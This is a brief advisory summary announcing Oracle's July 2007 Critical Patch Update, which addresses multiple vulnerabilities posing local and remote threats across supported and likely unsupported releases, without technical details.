Oracle has released a Critical Patch Update advisory for July 2007 to address multiple vulnerabilities for supported releases. Earlier unsupported releases are likely to be affected by these issues as well.

The issues identified by the vendor affect all security properties of the Oracle products and present local and remote threats. Various levels of authorization are needed to leverage some of the issues, but other issues do not require any authorization.
